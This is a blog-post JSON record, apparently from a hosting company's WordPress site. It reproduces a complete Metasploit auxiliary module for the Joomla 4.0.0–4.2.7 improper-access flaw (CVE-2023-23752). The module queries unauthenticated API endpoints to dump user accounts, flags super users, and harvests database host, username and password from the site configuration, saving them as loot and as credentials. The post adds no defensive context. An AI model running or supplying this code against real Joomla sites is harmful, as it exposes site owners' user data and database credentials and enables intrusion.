{"id":59351,"date":"2024-09-01T20:29:32","date_gmt":"2024-09-01T17:29:32","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181178\/joomla_api_improper_access_checks.rb.txt"},"modified":"2024-09-01T20:29:32","modified_gmt":"2024-09-01T17:29:32","slug":"joomla-api-improper-access-checks","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/joomla-api-improper-access-checks\/","title":{"rendered":"Joomla API Improper Access Checks"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::HTTP::Joomla<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Joomla API Improper Access Checks&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>Joomla versions between 4.0.0 and 4.2.7, inclusive, contain an improper API access vulnerability.<br \/>This vulnerability allows unauthenticated users access to webservice endpoints which contain<br \/>sensitive information. Specifically for this module we exploit the users and config\/application<br \/>endpoints.<\/p>\n<p>This module was tested against Joomla 4.2.7 running on Docker.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die&#8217;, # msf module<br \/>&#8216;Tianji Lab&#8217;, # original PoC, analysis<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;EDB&#8217;, &#8216;51334&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/developer.joomla.org\/security-centre\/894-20230201-core-improper-access-check-in-webservice-endpoints.html&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/nsfocusglobal.com\/joomla-unauthorized-access-vulnerability-cve-2023-23752-notice\/&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/18qrh3PXIX\/cve-2023-23752&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2023-23752&#8217;],<br \/>],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[&#8216;Joomla 4.0.0 &#8211; 4.2.7&#8217;, {}],<br \/>],<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS]},<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2023-02-01&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0<br \/>)<br \/>)<br \/># set the default port, and a URI that a user can set if the app isn&#8217;t installed to the root<br \/>register_options(<br \/>[<br \/>Opt::RPORT(80),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The URI of the Joomla Application&#8217;, &#8216;\/&#8217;]),<br \/>])<br \/>end<\/p>\n<p>def check_host(_ip)<br \/>unless joomla_and_online?<br \/>return Exploit::CheckCode::Unknown(&#8220;#{peer} &#8211; Could not connect to web service or not detected as Joomla&#8221;)<br \/>end<\/p>\n<p>version = joomla_version<br \/>if version.nil?<br \/>return Exploit::CheckCode::Safe(&#8220;#{peer} &#8211; Unable to determine Joomla Version&#8221;)<br \/>end<\/p>\n<p>vprint_status(&#8220;Joomla version detected: #{version}&#8221;)<br \/>ver_no = Rex::Version.new(version)<br \/>if ver_no &lt; Rex::Version.new(&#8216;4.0.0&#8217;) &amp;&amp; ver_no &gt;= Rex::Version.new(&#8216;4.2.8&#8217;)<br \/>return Exploit::CheckCode::Safe(&#8220;Joomla version #{ver_no} is NOT vulnerable&#8221;)<br \/>end<\/p>\n<p>Exploit::CheckCode::Appears(&#8220;Joomla version #{ver_no} is vulnerable&#8221;)<br \/>end<\/p>\n<p>def run_host(ip)<br \/>vprint_status(&#8216;Attempting user enumeration&#8217;)<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;index.php&#8217;, &#8216;v1&#8217;, &#8216;users&#8217;),<br \/>&#8216;headers&#8217; =&gt; {<br \/># header is needed, it passes back JSON anyways.<br \/>&#8216;Accept&#8217; =&gt; &#8216;*\/*&#8217;<br \/>},<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;public&#8217; =&gt; &#8216;true&#8217;<br \/>}<br \/>)<br \/>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Page didn&#8217;t load correctly (response code: #{res.code})&#8221;) unless res.code == 200<\/p>\n<p>tbl = Rex::Text::Table.new(<br \/>&#8216;Header&#8217; =&gt; &#8216;Joomla Users&#8217;,<br \/>&#8216;Indent&#8217; =&gt; 1,<br \/>&#8216;Columns&#8217; =&gt; [&#8216;ID&#8217;, &#8216;Super User&#8217;, &#8216;Name&#8217;, &#8216;Username&#8217;, &#8216;Email&#8217;, &#8216;Send Email&#8217;, &#8216;Register Date&#8217;, &#8216;Last Visit Date&#8217;, &#8216;Group Names&#8217;])<\/p>\n<p>users = res.get_json_document<br \/>fail_with(Failure::UnexpectedReply, &#8216;JSON document not returned&#8217;) unless users # &lt; json data wasn&#8217;t properly formatted<br \/>fail_with(Failure::UnexpectedReply, &#8220;&#8216;data&#8217; field in JSON document not found&#8221;) unless users[&#8216;data&#8217;] # &lt; json data was properly formatted by the expected key wasn&#8217;t present<\/p>\n<p>loot_path = store_loot(&#8216;joomla.users&#8217;, &#8216;application\/json&#8217;, ip, res.body, &#8216;Joomla Users&#8217;)<br \/>print_good(&#8220;Users JSON saved to #{loot_path}&#8221;)<\/p>\n<p>users = users[&#8216;data&#8217;]users.each do |user|<br \/>unless user[&#8216;type&#8217;] == &#8216;users&#8217;<br \/>next<br \/>end<\/p>\n<p>tbl &lt;&lt; [<br \/>user[&#8216;attributes&#8217;][&#8216;id&#8217;].to_s,<br \/>user[&#8216;attributes&#8217;][&#8216;group_names&#8217;].include?(&#8216;Super Users&#8217;) ? &#8216;*&#8217; : &#8221;,<br \/>user[&#8216;attributes&#8217;][&#8216;name&#8217;].to_s,<br \/>user[&#8216;attributes&#8217;][&#8216;username&#8217;].to_s,<br \/>user[&#8216;attributes&#8217;][&#8217;email&#8217;].to_s,<br \/>user[&#8216;attributes&#8217;][&#8216;sendEmail&#8217;].to_s,<br \/>user[&#8216;attributes&#8217;][&#8216;registerDate&#8217;].to_s,<br \/>user[&#8216;attributes&#8217;][&#8216;lastvisitDate&#8217;].to_s,<br \/>user[&#8216;attributes&#8217;][&#8216;group_names&#8217;].to_s,<br \/>]end<\/p>\n<p>print_good(tbl.to_s)<\/p>\n<p>vprint_status(&#8216;Attempting config enumeration&#8217;)<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;index.php&#8217;, &#8216;v1&#8217;, &#8216;config&#8217;, &#8216;application&#8217;),<br \/>&#8216;headers&#8217; =&gt; {<br \/># header is needed, it passes back JSON anyways.<br \/>&#8216;Accept&#8217; =&gt; &#8216;*\/*&#8217;<br \/>},<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;public&#8217; =&gt; &#8216;true&#8217;<br \/>}<br \/>)<\/p>\n<p>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Page didn&#8217;t load correctly (response code: #{res.code})&#8221;) unless res.code == 200<\/p>\n<p>tbl = Rex::Text::Table.new(<br \/>&#8216;Header&#8217; =&gt; &#8216;Joomla Config&#8217;,<br \/>&#8216;Indent&#8217; =&gt; 1,<br \/>&#8216;Columns&#8217; =&gt; [&#8216;Setting&#8217;, &#8216;Value&#8217;])<\/p>\n<p>config = res.get_json_document<br \/>fail_with(Failure::UnexpectedReply, &#8216;JSON document not returned&#8217;) unless config # &lt; json data wasn&#8217;t properly formatted<br \/>fail_with(Failure::UnexpectedReply, &#8220;&#8216;data&#8217; field in JSON document not found&#8221;) unless config[&#8216;data&#8217;] # &lt; json data was properly formatted by the expected key wasn&#8217;t present<\/p>\n<p>loot_path = store_loot(&#8216;joomla.config&#8217;, &#8216;application\/json&#8217;, ip, res.body, &#8216;Joomla Config&#8217;)<br \/>print_good(&#8220;Config JSON saved to #{loot_path}&#8221;)<\/p>\n<p>config = config[&#8216;data&#8217;]credential_data = {<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id,<br \/>port: 1, # we dont get this data back so just set it to something obviously wrong instead of guessing<br \/>origin_type: :service,<br \/>private_type: :password,<br \/>module_fullname: fullname,<br \/>status: Metasploit::Model::Login::Status::UNTRIED<br \/>}<br \/>config.each do |setting|<br \/>if setting[&#8216;attributes&#8217;].key?(&#8216;dbtype&#8217;)<br \/>credential_data[:service_name] = setting[&#8216;attributes&#8217;][&#8216;dbtype&#8217;].to_s<br \/>if setting[&#8216;attributes&#8217;][&#8216;dbtype&#8217;].to_s == &#8221;<br \/>credential_data[:port] = &#8216;3306&#8217; # taking a guess since this info isn&#8217;t returned but is required for create_credential_and_login<br \/>end<br \/>tbl &lt;&lt; [&#8216;dbtype&#8217;, setting[&#8216;attributes&#8217;][&#8216;dbtype&#8217;].to_s]elsif setting[&#8216;attributes&#8217;].key?(&#8216;host&#8217;)<br \/>credential_data[:address] = setting[&#8216;attributes&#8217;][&#8216;host&#8217;].to_s<br \/>tbl &lt;&lt; [&#8216;db host&#8217;, setting[&#8216;attributes&#8217;][&#8216;host&#8217;].to_s]elsif setting[&#8216;attributes&#8217;].key?(&#8216;password&#8217;)<br \/>credential_data[:private_data] = setting[&#8216;attributes&#8217;][&#8216;password&#8217;]tbl &lt;&lt; [&#8216;db password&#8217;, setting[&#8216;attributes&#8217;][&#8216;password&#8217;].to_s]elsif setting[&#8216;attributes&#8217;].key?(&#8216;user&#8217;)<br \/>credential_data[:username] = setting[&#8216;attributes&#8217;][&#8216;user&#8217;].to_s<br \/>tbl &lt;&lt; [&#8216;db user&#8217;, setting[&#8216;attributes&#8217;][&#8216;user&#8217;].to_s]elsif setting[&#8216;attributes&#8217;].key?(&#8216;db&#8217;)<br \/>tbl &lt;&lt; [&#8216;db name&#8217;, setting[&#8216;attributes&#8217;][&#8216;db&#8217;].to_s]elsif setting[&#8216;attributes&#8217;].key?(&#8216;dbprefix&#8217;)<br \/>tbl &lt;&lt; [&#8216;db prefix&#8217;, setting[&#8216;attributes&#8217;][&#8216;dbprefix&#8217;].to_s]elsif setting[&#8216;attributes&#8217;].key?(&#8216;dbencryption&#8217;)<br \/>tbl &lt;&lt; [&#8216;db encryption&#8217;, setting[&#8216;attributes&#8217;][&#8216;dbencryption&#8217;].to_s]end<br \/>end<br \/># if db host isn&#8217;t a FQDN or IP, this will silently fail to save.<br \/>create_credential_and_login(credential_data)<\/p>\n<p>print_good(tbl.to_s)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::HTTP::Joomla def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Joomla API Improper Access Checks&#8217;,&#8216;Description&#8217; =&gt; %q{Joomla versions between 4.0.0 and 4.2.7, inclusive, contain an improper API access vulnerability.This vulnerability allows unauthenticated users access to webservice endpoints which containsensitive information. Specifically for this &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59351","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59351","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59351"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59351\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59351"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59351"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59351"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}